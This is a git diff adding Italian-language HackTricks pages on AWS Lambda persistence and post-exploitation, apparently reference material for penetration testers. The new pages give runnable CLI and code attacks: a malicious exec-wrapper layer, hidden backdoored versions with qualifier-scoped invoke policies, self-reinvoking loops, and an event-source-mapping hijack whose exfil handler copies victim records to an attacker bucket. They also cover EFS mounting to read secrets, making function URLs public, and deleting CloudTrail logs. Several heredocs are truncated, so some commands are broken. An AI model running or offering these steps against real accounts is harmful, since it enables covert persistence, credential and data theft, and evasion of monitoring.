diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index db99f45da..7ec85779f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,64 +1,91 @@
-# AWS - Lambda Persistence
+# AWS - Persistenza di Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
-Per ulteriori informazioni controlla:
+Per maggiori informazioni consulta:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Persistenza del Lambda Layer
+### Persistenza con Lambda Layer
-È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando il lambda viene eseguito in modo furtivo:
+È possibile **introdurre/backdoor un layer per eseguire codice arbitrario** quando la Lambda viene eseguita in modo stealthy:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Persistenza dell'Estensione Lambda
+### Persistenza con Lambda Extension
-Abusando dei Lambda Layers è anche possibile abusare delle estensioni e persistere nel lambda ma anche rubare e modificare le richieste.
+Abusando dei Lambda Layers è anche possibile abusare delle extension e persistere nella Lambda oltre a rubare e modificare le richieste.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
-### Tramite politiche delle risorse
+### Tramite resource policies
-È possibile concedere accesso a diverse azioni lambda (come invocare o aggiornare il codice) a account esterni:
+È possibile concedere accesso a diverse azioni di Lambda (ad esempio invoke o update code) ad account esterni:
### Versioni, Alias e Pesi
-Un Lambda può avere **diverse versioni** (con codice diverso per ogni versione).\
-Poi, puoi creare **diversi alias con diverse versioni** del lambda e impostare pesi diversi per ciascuno.\
-In questo modo un attaccante potrebbe creare una **versione 1 backdoored** e una **versione 2 con solo il codice legittimo** e **eseguire solo la versione 1 nel 1%** delle richieste per rimanere furtivo.
+Una Lambda può avere **diverse versioni** (con codice diverso per ciascuna versione).\
+Poi, puoi creare **diversi alias con versioni diverse** della Lambda e assegnare differenti pesi a ciascuno.\
+In questo modo un attacker potrebbe creare una **backdoored version 1** e una **version 2 con solo il codice legit** ed **eseguire solo la version 1 nel 1%** delle richieste per rimanere stealth.
-### Backdoor della Versione + API Gateway
+### Version Backdoor + API Gateway
-1. Copia il codice originale del Lambda
-2. **Crea una nuova versione backdooring** il codice originale (o solo con codice malevolo). Pubblica e **deplora quella versione** su $LATEST
-1. Chiama l'API gateway relativo al lambda per eseguire il codice
-3. **Crea una nuova versione con il codice originale**, Pubblica e deplo quella **versione** su $LATEST.
+1. Copia il codice originale della Lambda
+2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
+1. Chiama l'API Gateway relativa alla Lambda per eseguire il codice
+3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. Questo nasconderà il codice backdoored in una versione precedente
-4. Vai all'API Gateway e **crea un nuovo metodo POST** (o scegli un altro metodo) che eseguirà la versione backdoored del lambda: `arn:aws:lambda:us-east-1::function::1`
-1. Nota il finale :1 dell'arn **che indica la versione della funzione** (la versione 1 sarà quella backdoored in questo scenario).
-5. Seleziona il metodo POST creato e in Azioni seleziona **`Deploy API`**
-6. Ora, quando **chiami la funzione via POST la tua Backdoor** sarà invocata
+4. Vai all'API Gateway e **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
+1. Nota il final :1 dell'arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
+5. Seleziona il metodo POST creato e in Actions seleziona **`Deploy API`**
+6. Ora, quando **call the function via POST your Backdoor** verrà invocata
-### Attuatore Cron/Event
+### Attivatore Cron/Event
-Il fatto che puoi far **eseguire funzioni lambda quando accade qualcosa o quando passa del tempo** rende lambda un modo piacevole e comune per ottenere persistenza ed evitare il rilevamento.\
-Ecco alcune idee per rendere la tua **presenza in AWS più furtiva creando lambdas**.
+Il fatto che puoi fare in modo che le funzioni Lambda vengano eseguite quando qualcosa succede o dopo che passa del tempo rende Lambda un modo comune e comodo per ottenere persistenza ed evitare il rilevamento.\
+Ecco alcune idee per rendere la tua **presenza in AWS più stealth creando Lambda**.
+
+- Every time a new user is created lambda generates a new user key and send it to the attacker.
+- Every time a new role is created lambda gives assume role permissions to compromised users.
+- Every time new cloudtrail logs are generated, delete/alter them
+
+### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
+
+Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno script wrapper controllato dall'attacker prima che il runtime/handler inizi. Distribuisci il wrapper via un Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la funzione. Il wrapper gira all'interno del processo runtime della funzione, eredita il ruolo di esecuzione della funzione, e infine `exec` il runtime reale così l'handler originale viene ancora eseguito normalmente.
+
+{{#ref}}
+aws-lambda-exec-wrapper-persistence.md
+{{#endref}}
+
+### AWS - Esposizione pubblica di Lambda Function URL
+
+Abusa di Lambda asynchronous destinations insieme alla Recursion configuration per fare in modo che una funzione si richiami continuamente senza uno scheduler esterno (no EventBridge, cron, ecc.). Per default, Lambda termina i loop ricorsivi, ma impostando la recursion config su Allow li si riabilita. Le destinations consegnano lato servizio per async invokes, quindi una singola seed invoke crea un stealthy, code-free heartbeat/backdoor channel. Facoltativamente limita con reserved concurrency per mantenere il rumore basso.
+
+{{#ref}}
+aws-lambda-async-self-loop-persistence.md
+{{#endref}}
+
+### AWS - Lambda Alias-Scoped Resource Policy Backdoor
+
+Crea una versione nascosta della Lambda con logica dell'attacker e scope una resource-based policy a quella specifica versione (o alias) usando il parametro `--qualifier` in `lambda add-permission`. Concedi solo `lambda:InvokeFunction` su `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Le invocazioni normali tramite il nome della funzione o l'alias primario rimangono inalterate, mentre l'attacker può invocare direttamente l'ARN della versione backdoored.
+
+Questo è più stealth rispetto all'esporre una Function URL e non cambia l'alias principale del traffico.
+
+{{#ref}}
+aws-lambda-alias-version-policy-backdoor.md
+{{#endref}}
-- Ogni volta che viene creato un nuovo utente, lambda genera una nuova chiave utente e la invia all'attaccante.
-- Ogni volta che viene creata una nuova funzione, lambda concede permessi di assunzione del ruolo agli utenti compromessi.
-- Ogni volta che vengono generati nuovi log di cloudtrail, cancellali/modificali
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
new file mode 100644
index 000000000..784a29c15
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
@@ -0,0 +1,88 @@
+# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sommario
+
+Crea una hidden Lambda version con la logica dell'attacker e scopa una resource-based policy a quella specifica version (o alias) usando il parametro `--qualifier` in `lambda add-permission`. Concedi solo `lambda:InvokeFunction` su `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Le invocazioni normali tramite il nome della function o l'alias principale rimangono inalterate, mentre l'attacker può invocare direttamente la backdoored version ARN.
+
+Questo è più stealth rispetto a esporre una Function URL e non modifica l'alias di traffico principale.
+
+## Permessi richiesti (attacker)
+
+- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
+- `lambda:AddPermission` (to add version-scoped resource policy)
+- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
+
+## Attack Steps (CLI)
+
+
+Pubblica hidden version, aggiungi qualifier-scoped permission, invoca come attacker
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=
+
+# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
+# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION"
+
+# 1) Build a small backdoor handler and publish as a new version
+cat > bdoor.py </dev/null
+cat > /tmp/invoke-policy.json </dev/null
+cat /tmp/ver-out.json
+
+# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
+aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
+```
+
+
+## Impatto
+
+- Concede una backdoor stealthy per invocare una versione nascosta della funzione senza modificare l'alias principale né esporre una Function URL.
+- Limita l'esposizione alla sola version/alias specificata tramite la resource-based policy `Qualifier`, riducendo la superficie di rilevamento pur mantenendo un'invocazione affidabile per l'attacker principal.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
new file mode 100644
index 000000000..fa9fbdd85
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
@@ -0,0 +1,92 @@
+# AWS - Lambda Persistenza di Auto-Loop Asincrono via Destinations + Recursion Allow
+
+Abusa delle Destinations asincrone di Lambda insieme alla configurazione Recursion per far sì che una funzione si reinvichi continuamente senza uno scheduler esterno (no EventBridge, cron, ecc.). Di default Lambda interrompe i loop ricorsivi, ma impostando la recursion config su Allow li riattivi. Le Destinations consegnano lato servizio per gli invoke async, quindi una singola seed invoke crea un canale stealthy di heartbeat/backdoor senza codice. Opzionalmente limita la velocità con reserved concurrency per mantenere basso il rumore.
+
+Note
+- Lambda non permette di configurare direttamente la funzione come sua stessa destination. Usa un function alias come destination e consenti all'execution role di invoke quell'alias.
+- Permessi minimi: possibilità di leggere/aggiornare l'event invoke config e la recursion config della funzione target, pubblicare una version e gestire un alias, e aggiornare la policy dell'execution role della funzione per permettere lambda:InvokeFunction sull'alias.
+
+## Requisiti
+- Region: us-east-1
+- Vars:
+- REGION=us-east-1
+- TARGET_FN=
+
+## Passaggi
+
+1) Ottieni l'ARN della funzione e l'attuale impostazione Recursion
+```
+FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
+aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
+```
+2) Pubblica una versione e crea/aggiorna un alias (usato come destinazione verso la stessa funzione)
+```
+VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
+if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
+aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+else
+aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+fi
+ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
+```
+3) Consentire al ruolo di esecuzione della funzione di invocare l'alias (richiesto da Lambda Destinations→Lambda)
+```
+# Set this to the execution role name used by the target function
+ROLE_NAME=
+cat > /tmp/invoke-self-policy.json </dev/null
+```
+7) Osservare invocazioni continue (esempi)
+```
+# Recent logs (if the function logs each run)
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
+# or check CloudWatch Metrics for Invocations increasing
+```
+8) Stealth throttle opzionale
+```
+aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
+```
+## Pulizia
+Interrompere il loop e rimuovere la persistence.
+```
+aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
+aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
+aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
+# Optional: delete alias and remove the inline policy when finished
+aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
+ROLE_NAME=
+aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
+```
+## Impatto
+- Un singolo async invoke fa sì che Lambda si reinvoci continuamente senza uno scheduler esterno, abilitando stealthy persistence/heartbeat. Reserved concurrency può limitare il rumore a una singola warm execution.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
new file mode 100644
index 000000000..31d105455
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
@@ -0,0 +1,94 @@
+# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sommario
+
+Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno script wrapper controllato dall'attaccante prima dell'avvio del runtime/handler. Distribuisci il wrapper tramite un Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la funzione. Il wrapper viene eseguito all'interno del processo del runtime della funzione, eredita il role di esecuzione della funzione e infine esegue con `exec` il runtime reale in modo che l'handler originale venga eseguito normalmente.
+
+> [!WARNING]
+> Questa tecnica concede esecuzione di codice nella Lambda target senza modificare il suo codice sorgente o il role e senza necessitare di `iam:PassRole`. Hai solo bisogno della possibilità di aggiornare la configurazione della funzione e pubblicare/allegare un layer.
+
+## Permessi richiesti (attaccante)
+
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:GetFunctionConfiguration`
+- `lambda:InvokeFunction` (o attivare tramite un evento esistente)
+- `lambda:ListFunctions`, `lambda:ListLayers`
+- `lambda:PublishLayerVersion` (stesso account) e opzionalmente `lambda:AddLayerVersionPermission` se si usa un layer cross-account/pubblico
+
+## Wrapper Script
+
+Posiziona il wrapper in `/opt/bin/htwrap` nel layer. Può eseguire logica pre-handler e deve terminare con `exec "$@"` per concatenarsi al runtime reale.
+```bash
+#!/bin/bash
+set -euo pipefail
+# Pre-handler actions (runs in runtime process context)
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json, os
+try:
+ident = boto3.client('sts').get_caller_identity()
+print('[ht] sts identity:', json.dumps(ident))
+except Exception as e:
+print('[ht] sts error:', e)
+PY
+# Chain to the real runtime
+exec "$@"
+```
+## Passaggi dell'attacco (CLI)
+
+
+Pubblica layer, allega alla funzione target, imposta wrapper, invoca
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=
+
+# 1) Package wrapper at /opt/bin/htwrap
+mkdir -p layer/bin
+cat > layer/bin/htwrap <<'WRAP'
+#!/bin/bash
+set -euo pipefail
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json
+print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
+PY
+exec "$@"
+WRAP
+chmod +x layer/bin/htwrap
+(zip -qr htwrap-layer.zip layer)
+
+# 2) Publish the layer
+LAYER_ARN=$(aws lambda publish-layer-version \
+--layer-name ht-exec-wrapper \
+--zip-file fileb://htwrap-layer.zip \
+--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
+--query LayerVersionArn --output text --region "$REGION")
+
+echo "$LAYER_ARN"
+
+# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
+aws lambda update-function-configuration \
+--function-name "$TARGET_FN" \
+--layers "$LAYER_ARN" \
+--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
+--region "$REGION"
+
+# Wait for update to finish
+until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
+
+# 4) Invoke and verify via CloudWatch Logs
+aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
+```
+
+
+## Impatto
+
+- Esecuzione di codice pre-handler nel contesto del runtime Lambda utilizzando l'execution role esistente della function.
+- Non richiede modifiche al function code o al role; funziona su managed runtimes comuni (Python, Node.js, Java, .NET).
+- Consente persistence, credential access (es. STS), data exfiltration e runtime tampering prima che l'handler venga eseguito.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index eef1d83c7..4f0b2e512 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -4,32 +4,82 @@
## Lambda
-Per ulteriori informazioni controlla:
+Per maggiori informazioni consulta:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Esfiltrare le credenziali di Lambda
+### Exfilrtate Lambda Credentials
-Lambda utilizza variabili di ambiente per iniettare credenziali durante l'esecuzione. Se riesci ad accedervi (leggendo `/proc/self/environ` o utilizzando la funzione vulnerabile stessa), puoi usarle tu stesso. Si trovano nei nomi delle variabili predefinite `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`.
+Lambda usa variabili d'ambiente per iniettare le credenziali al runtime. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle tu stesso. Risiedono nei nomi di variabile predefiniti `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`.
-Per impostazione predefinita, queste avranno accesso per scrivere in un gruppo di log di CloudWatch (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre a creare gruppi di log arbitrari, tuttavia le funzioni lambda hanno frequentemente più permessi assegnati in base al loro utilizzo previsto.
+Per impostazione predefinita, queste avranno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre a creare log group arbitrari; tuttavia le funzioni lambda spesso hanno più permessi assegnati in base al loro uso previsto.
-### Rubare le richieste URL di altri Lambda
+### Steal Others Lambda URL Requests
-Se un attaccante riesce in qualche modo a ottenere RCE all'interno di un Lambda, sarà in grado di rubare le richieste HTTP di altri utenti al lambda. Se le richieste contengono informazioni sensibili (cookie, credenziali...), sarà in grado di rubarle.
+Se un attaccante in qualche modo ottiene RCE all'interno di una Lambda, potrà rubare le richieste HTTP di altri utenti alla lambda. Se le richieste contengono informazioni sensibili (cookie, credentials...) potrà esfiltrarle.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
-### Rubare le richieste URL di altri Lambda e richieste di estensioni
+### Steal Others Lambda URL Requests & Extensions Requests
-Abusando delle Lambda Layers è anche possibile abusare delle estensioni e persistere nel lambda, ma anche rubare e modificare le richieste.
+Abusando dei Lambda Layers è anche possibile sfruttare le extensions e persistere nella lambda ma anche rubare e modificare le richieste.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
+### AWS Lambda – VPC Egress Bypass
+
+Costringi una Lambda function a uscire da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita nel piano di rete gestito da Lambda, riottenendo l'accesso Internet in uscita e bypassando i controlli di egress imposti dalle subnet VPC private senza NAT.
+
+{{#ref}}
+aws-lambda-vpc-egress-bypass.md
+{{#endref}}
+
+### AWS Lambda – Runtime Pinning/Rollback Abuse
+
+Abusa di `lambda:PutRuntimeManagementConfig` per bloccare una function su una specifica versione del runtime (Manual) o per congelare gli aggiornamenti (FunctionUpdate). Questo preserva la compatibilità con malicious layers/wrappers e può mantenere la function su un runtime obsoleto e vulnerabile per facilitare lo sfruttamento e la persistenza a lungo termine.
+
+{{#ref}}
+aws-lambda-runtime-pinning-abuse.md
+{{#endref}}
+
+### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+Abusa dei controlli avanzati di logging di `lambda:UpdateFunctionConfiguration` per reindirizzare i log di una function verso un CloudWatch Logs log group scelto dall'attaccante. Questo funziona senza cambiare codice o il ruolo di esecuzione (la maggior parte dei ruoli Lambda include già `logs:CreateLogGroup/CreateLogStream/PutLogEvents` tramite `AWSLambdaBasicExecutionRole`). Se la function stampa segreti/corpi di richiesta o va in crash con stack trace, puoi raccoglierli dal nuovo log group.
+
+{{#ref}}
+aws-lambda-loggingconfig-redirection.md
+{{#endref}}
+
+### AWS - Lambda Function URL Public Exposure
+
+Trasforma una private Lambda Function URL in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e collegando una resource-based policy che conceda lambda:InvokeFunctionUrl a chiunque. Questo abilita l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
+
+{{#ref}}
+aws-lambda-function-url-public-exposure.md
+{{#endref}}
+
+### AWS Lambda – Event Source Mapping Target Hijack
+
+Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record da DynamoDB Streams, Kinesis o SQS vengano recapitati a una function controllata dall'attaccante. Questo devia silenziosamente i dati in tempo reale senza toccare i producer o il codice della function originale.
+
+{{#ref}}
+aws-lambda-event-source-mapping-target-hijack.md
+{{#endref}}
+
+### AWS Lambda – EFS Mount Injection data exfiltration
+
+Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la function precedentemente non poteva accedere.
+
+{{#ref}}
+aws-lambda-efs-mount-injection.md
+{{#endref}}
+
+
+
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
new file mode 100644
index 000000000..8b93343b6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -0,0 +1,74 @@
+# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Furto di dati)
+
+Abusa di `lambda:UpdateFunctionConfiguration` per allegare un EFS Access Point esistente a una Lambda, quindi deploya codice triviale che elenca/legge file dal percorso montato per esfiltrare segreti/config condivisi a cui la funzione prima non poteva accedere.
+
+## Requisiti
+- Permessi sull'account/principale vittima:
+- `lambda:GetFunctionConfiguration`
+- `lambda:ListFunctions` (per trovare le funzioni)
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:UpdateFunctionCode`
+- `lambda:InvokeFunction`
+- `efs:DescribeMountTargets` (per confermare che esistono mount targets)
+- Assunzioni sull'ambiente:
+- La Lambda target è VPC-enabled e le sue subnet/SGs possono raggiungere il SG del mount target EFS su TCP/2049 (es. il ruolo ha AWSLambdaVPCAccessExecutionRole e il routing VPC lo consente).
+- L'EFS Access Point si trova nella stessa VPC e ha mount targets nelle AZ delle subnet della Lambda.
+
+## Attacco
+- Variabili
+```
+REGION=us-east-1
+TARGET_FN=
+EFS_AP_ARN=
+```
+1) Collega l'EFS Access Point alla Lambda
+```
+aws lambda update-function-configuration \
+--function-name $TARGET_FN \
+--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
+--region $REGION
+# wait until LastUpdateStatus == Successful
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+```
+2) Sovrascrivi il codice con un semplice reader che elenca i file e mostra i primi 200 byte di un potenziale secret/config file
+```
+cat > reader.py </dev/null
+cat /tmp/efs-out.json
+```
+L'output dovrebbe contenere l'elenco delle directory sotto /mnt/ht e una piccola anteprima di un file secret/config scelto da EFS.
+
+## Impatto
+Un attaccante con le autorizzazioni elencate può montare arbitrari in-VPC EFS Access Points nelle funzioni Lambda vittime per leggere ed esfiltrare la configurazione condivisa e i secrets memorizzati su EFS che erano precedentemente inaccessibili a quella funzione.
+
+## Pulizia
+```
+aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
new file mode 100644
index 000000000..bf457c9bd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
@@ -0,0 +1,75 @@
+# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa di `UpdateEventSourceMapping` per cambiare la funzione Lambda target di un Event Source Mapping (ESM) esistente in modo che i record provenienti da DynamoDB Streams, Kinesis, o SQS vengano consegnati a una funzione controllata dall'attaccante. Questo devia silenziosamente dati live senza toccare i producer o il codice della funzione originale.
+
+## Impact
+- Deviare e leggere record live da stream/queue esistenti senza modificare le app producer o il codice della vittima.
+- Possibile esfiltrazione di dati o manomissione della logica processando il traffico della vittima in una funzione rogue.
+
+## Required permissions
+- `lambda:ListEventSourceMappings`
+- `lambda:GetEventSourceMapping`
+- `lambda:UpdateEventSourceMapping`
+- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one).
+
+## Steps
+
+1) Enumerate gli Event Source Mapping per la funzione della vittima
+```
+TARGET_FN=
+aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
+export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[0].UUID' --output text)
+export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[0].EventSourceArn' --output text)
+```
+2) Preparare un receiver Lambda attacker-controlled (stessa regione; idealmente VPC/runtime simili)
+```
+cat > exfil.py <<'PY'
+import json, boto3, os, time
+
+def lambda_handler(event, context):
+print(json.dumps(event)[:3000])
+b = os.environ.get('EXFIL_S3')
+if b:
+k = f"evt-{int(time.time())}.json"
+boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
+return {'ok': True}
+PY
+zip exfil.zip exfil.py
+ATTACKER_LAMBDA_ROLE_ARN=
+export ATTACKER_FN_ARN=$(aws lambda create-function \
+--function-name ht-esm-exfil \
+--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
+--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
+--query FunctionArn --output text)
+```
+3) Reindirizzare il mapping alla attacker function
+```
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
+```
+4) Genera un evento sulla sorgente in modo che il mapping si attivi (esempio: SQS)
+```
+SOURCE_SQS_URL=
+aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
+```
+5) Verifica che la funzione attacker riceva il batch
+```
+aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
+```
+6) Stealth opzionale
+```
+# Pause mapping while siphoning events
+aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
+
+# Restore original target later
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
+```
+Note:
+- Per gli SQS ESMs, il ruolo di esecuzione della Lambda che elabora la coda necessita di `sqs:ReceiveMessage`, `sqs:DeleteMessage` e `sqs:GetQueueAttributes` (policy gestita: `AWSLambdaSQSQueueExecutionRole`).
+- L'ESM UUID rimane lo stesso; viene cambiato solo il suo `FunctionArn`, quindi i producers e gli source ARNs restano invariati.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
new file mode 100644
index 000000000..777cce2be
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -0,0 +1,46 @@
+# AWS - Esposizione pubblica di Lambda Function URL (AuthType NONE + Public Invoke Policy)
+
+Trasforma un Lambda Function URL privato in un endpoint pubblico non autenticato impostando il Function URL AuthType su NONE e allegando una resource-based policy che concede lambda:InvokeFunctionUrl a chiunque. Questo permette l'invocazione anonima di funzioni interne e può esporre operazioni backend sensibili.
+
+## Sfruttamento
+
+- Prerequisiti: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
+- Regione: us-east-1
+
+### Passaggi
